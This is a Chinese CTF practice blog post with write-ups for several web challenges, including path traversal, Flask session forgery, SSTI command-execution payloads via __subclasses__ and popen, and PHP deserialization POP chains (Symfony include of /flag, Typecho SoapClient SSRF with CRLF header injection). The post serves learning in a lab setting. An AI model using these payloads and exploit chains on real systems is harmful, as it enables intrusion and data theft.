刷题(第二周)

目录

virink_2019_files_share

[PASECA2019]honey_shop

中途的插曲

[watevrCTF-2019]Supercalc

[b01lers2020]Scrambled

[CISCN2019 总决赛 Day1 Web4]Laravel1

[MRCTF2020]Ezpop_Revenge

 分析路径

还有一个点就是为什么字符串链接,没有指向,就会跳到别的类呢

[pasecactf_2019]flask_ssti



virink_2019_files_share

打开界面看一下源码,  以为直接访问就出了,发现直接重定向到了根目录,呃呃呃就知道不会这么简单。

 发现了/uploads/favoicon.ico这是一个文件,访问./uploads目录,

burp扫一下发现了 发现了一个get传参首先考虑任意文件读取漏洞,

 发现从/etc/passwd   --->\/epasswd ,所以可以发现过滤了一些东西。

加了n个../发现成功了,这时候就想到一开始那个flag目录的提示了, 

这里卡了一下,忘记了,需要双写re,这里加flag是因为前面的是个目录。 

[PASECA2019]honey_shop

打开界面发现,需要1337才可以获取flag但我们只有1336,然后session解码看一下

 到了这里我们的思路变成了如何获得密钥然后伪造cookie,

这里我从源码看见download,然后考虑是否有任意文件下载漏洞,

 

查看坏境看见了密钥, 

中途的插曲

本来都看见当前的进程是app.py了,但是读取就是出不来 提示禁止了,然后才用的environ 

[watevrCTF-2019]Supercalc

打开界面之后发现,输入算式就会给出来结果。

首先找找给出了哪些信息,源码没什么有用的信息,看一下Network

 发现有session,用脚本解码一下,

{"history":[{"code":"6 / 5"},{"code":"6 / 5"}]} 里面就是我们输入的东西并且执行了

 一般这种都会是一个ssti的漏洞,但是这道题{{7*7}}

Check your syntax m8,{%7*7%},报语法错误,猜测禁用了{{}}

然后让这个程序报错,会不会爆出有用的信息。

 然后我到了这里就不会了,只能爬师傅们的文章

看完之后,这里虽然报错了,但还是返回了1/0我们输入的值,因为flask框架是基于python语言的,所以师傅们用的方法是#注释掉后面的,

会发现后面的会正常执行,1/0#{{config}},查看配置信息,发现了密钥 这里我本来的想法为什么不能直接,

{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read()}}

试了之后有报错,难搞,说明只能通过密钥伪造cookie

{'history':[{'code':'__import__(\"os\").popen(\"ls -a\").read()'}]}

 然后读取flag

[b01lers2020]Scrambled

打开界面发现一个超链接 的视频,源码并无异常。

这里我是看到了cookie中的异常, 

kxkxkxkxsh0b29kxkxkxkxsh  中间得四位是通过刷新不断变化的,0b29比如这里,第29个字符就是b则28就是0,也是一道脑洞题。

import requests
import re
import time

url = 'http://cd3f66b1-2a6e-4f68-bcf0-3942ea117454.node4.buuoj.cn:81/'
res = requests.session()
r = res.get(url, headers={'Cookie': 'frequency=1; transmissions=kxkxkxkxsh0b29kxkxkxkxsh'})
flag = [0] * 100  #这里是创建了100个数组
fflag = ''
for i in range(100):  # 这里最好是要100此,难免会出现重复的transmissions导致最后的结果错误
    time.sleep(0.1)
    r = res.get(url)
    cookies = r.cookies
    ans = str(cookies['transmissions'])
    ans = ans.replace('kxkxkxkxsh', '').replace('%7B', '{').replace('%7D', '}')
    print(ans)#9724
    index = ans[2:]   #比如是 3632  则会 输出 32
    print(index)#24
    print(ans[1])#7
    flag[int(index)] = ans[1]   #flag[24]=7
    flag[int(index) - 1] = ans[0]#flag[23]=9
    print("-------loading-------")

# for i in range(100):
#     fflag += str(flag[i])
#
# print(fflag)
#

[CISCN2019 总决赛 Day1 Web4]Laravel1

打开直接给出了源码,看来是需要我们构造序列化的东西。

所以我们直接全局搜索__dustruct,

 虽然去除掉了一部分但还是真的多,

通过逐个分析找到一个可以文件包含的链,

TagAwareAdapter类:   

 

这里的this->pool是我们可以控制的,所以找出一个恶意类中的 saveDeferred方法即可,最终找到了PhpArrayAdapter.php中的方法, 

控制this->values=null,就可以执行initialize(),  里面有include $this->file,所以我们可以包含/flag来获取。

构造exp

<?php
 
namespace Symfony\Component\Cache\Adapter{
 
    use Symfony\Component\Cache\CacheItem;
    class PhpArrayAdapter{
        private $file='/flag';
    }
 
    class TagAwareAdapter{
        private $deferred = [];
        private $pool;
        public function __construct()
        {
            $this->deferred = array('flight' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
}
 
namespace Symfony\Component\Cache{
    class CacheItem{}
}
 
namespace {
 
    use Symfony\Component\Cache\Adapter\TagAwareAdapter;
    $obj = new TagAwareAdapter();
    echo urlencode(serialize($obj));
}

  use Symfony\Component\Cache\CacheItem;为什么要用这个类呢,那是因为

$item变量是,CacheItemInterface是一个接口不能实例化,所以用了他一个子类Cacheitem可以实例化。 感悟:代码审计的题的确非常需要耐心一个个看,所以做题应该静下心来,思路:找出可以利用的方法比如,include/file_get_contents等,然后找出__destruct起点一步步观察。

[MRCTF2020]Ezpop_Revenge

首先了解原生类SoapClient,调用一个不存在的函数,回去调用__call方法

<?php
try {
    $a = new SoapClient(null, array('uri' => 'aaa', 'location' => 'http://ip:5656'));
    $a->function();
} catch (SoapFault $e) {
}

$a->function()这里的,function方法是不存在的所以就会调用call方法,然后会在本地显示 

 回归正文

打开题目了以后,蒙了,扫目录发现了www.zip,下载为源码

首先看一下flag.php

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

 判断ip是不是本地,如果是的话,把flag存入session中,可以想到ssrf然后最后肯定是需要访问flag.php把flag包含进session中。

给出了php源码,一般来说都是__destruct 和__wakeup入手,全局搜索

发现有两个__destruct都是对文件 的一些删除等操作,没有利用价值。

搜索__wakeup,HelloWorld\Plugin.php中

<?php
if (!defined('__TYPECHO_ROOT_DIR__')) exit;
/**
 * Hello World
 * 
 * @package HelloWorld 
 * @author qining
 * @version 1.0.0
 * @link http://typecho.org
 */
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }

    public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
			if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
				unserialize(base64_decode($_POST['C0incid3nc3']));
			else {
				echo "Not that easy.";
			}
        }
    }
}

         $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);

里面的两个参数我们可以控制,根进去看一下

 Typecho\Db.php

  public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
//字符串链接会触发 __tostring

因为$adapterName是我们传进去的$this->coincidence['hello'] 所以可控,

那么我们就可以找一下__tostring方法

  public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:

return $this->_adapter->parseSelect($this->_sqlPreBuild);

new SoapClient(null, array('uri' => 'aaa', 'location' => 'http://ip:5656'))->function);

这两种的形式是一样的,所以我们就可以用soapClient

<?php

class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;

    public function __construct()
    {
        $target = 'http://127.0.0.1/flag.php';
        $headers = array(
            'X-Forwarded-For: 127.0.0.1',
            'Cookie: PHPSESSID=arvkb8pr8macu0u406pp7grmr3'
        );
        $b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri'      => "aaab"));
        $this->_sqlPreBuild =array("action"=>"SELECT");
        $this->_adapter = $b;
    }
}


class HelloWorld_DB
{
    private $coincidence;

    public function __construct()
    {
        $this->coincidence = ["hello" => new Typecho_Db_Query()];
    }
}

$a = new HelloWorld_DB();
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo base64_encode($aaa);

 分析路径

我们访问了page_admin路径,那么这个哪来的呢 

我要要用action()中的方法,而代码中都没引用,那么猜测会有路由指向,

var/Typecho/Plugin.php这里可以用全局搜索,addRoute,或者搜索路径+类名也可以

public static function activate($pluginName)
{
    self::$_plugins['activated'][$pluginName] = self::$_tmp;
    self::$_tmp = array();
    Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}

 这句代码的意思就是访问/page_admin的时候,会自动加载HelloWorld_Plugin类,而且会自动调用action函数,所以我们输入点的路由为/page_admin

还有一个点就是为什么字符串链接,没有指向,就会跳到别的类呢

<?php
class k{
    public $str;
    public $abc;
    public function __construct()
    {
        echo  "进行了construct";
        $abc =new a();
        $str='sfsf'.$abc;
    }




}
class a{
   public function __toString()
   {
       echo "tostring";
      echo "44444444";
   }
}
$s=new k();
echo $s;

结果:进行了construct       tostring      44444444,非常神奇。

这里提示一点就是:s->S  S可以后面和16进制,\00

参考链接:MRCTF2020 web Ezpop_Revenge 简单记录 - CodeAntenna 

[pasecactf_2019]flask_ssti

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5')

 上面这个其实就是解密脚本,一开始就给出了,但还是自己做做

{{""["\x5f\x5fclass\x5f\x5f"]}}  "".__class__
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclassed\x5f\x5f"]()}} "".__class__.__base__.__subclasses__() 

{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat ap*")["read"]()}}

 因为是ssti肯定需要一步步构造,然后查找127

os._wrap_close我们可以利用,然后ls  ls /唉没flag,但是看见了app.py文件,所以我觉得里面肯定有东西
import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']

@app.route('/', methods=['GET', 'POST'])
# 需要请求方式为POST才能get到nickname
def index():
    if request.method == 'POST': 
        try:
            p = request.values.get('nickname')
            id = random.randint(0, len(nicknames) - 1)
            if p != None:
                if '.' in p or '_' in p or '\'' in p:
                    return 'Your nickname contains restricted characters!'
                return render_template_string(nicknames[id] % p) # 注入

        except Exception as e:
            print(e)
            return 'Exception'

    return render_template('index.html') 

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)

从源码很容易发现,加密手段

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
 

并且是通过异或来搞的,异或可以逆向出来,解密脚本=加密脚本

flag=3
a=4
b=5
print(flag^4^5)    2
print(2^4^5)     3

 然后我们就可以把从config 中的flag,进行解码

 这里为何访问{{config}}那是因为,app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')  config的赋值

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))  #加密的方式


flag='-M7\x10wG:66S+k/\x0e\x1b\r?\x0e(D\x1e\x1c_\x17xoS`\x02Y\x13Yq\x03z-Ei\x10\x06IG'

flag=encode(flag,'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
print(flag)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值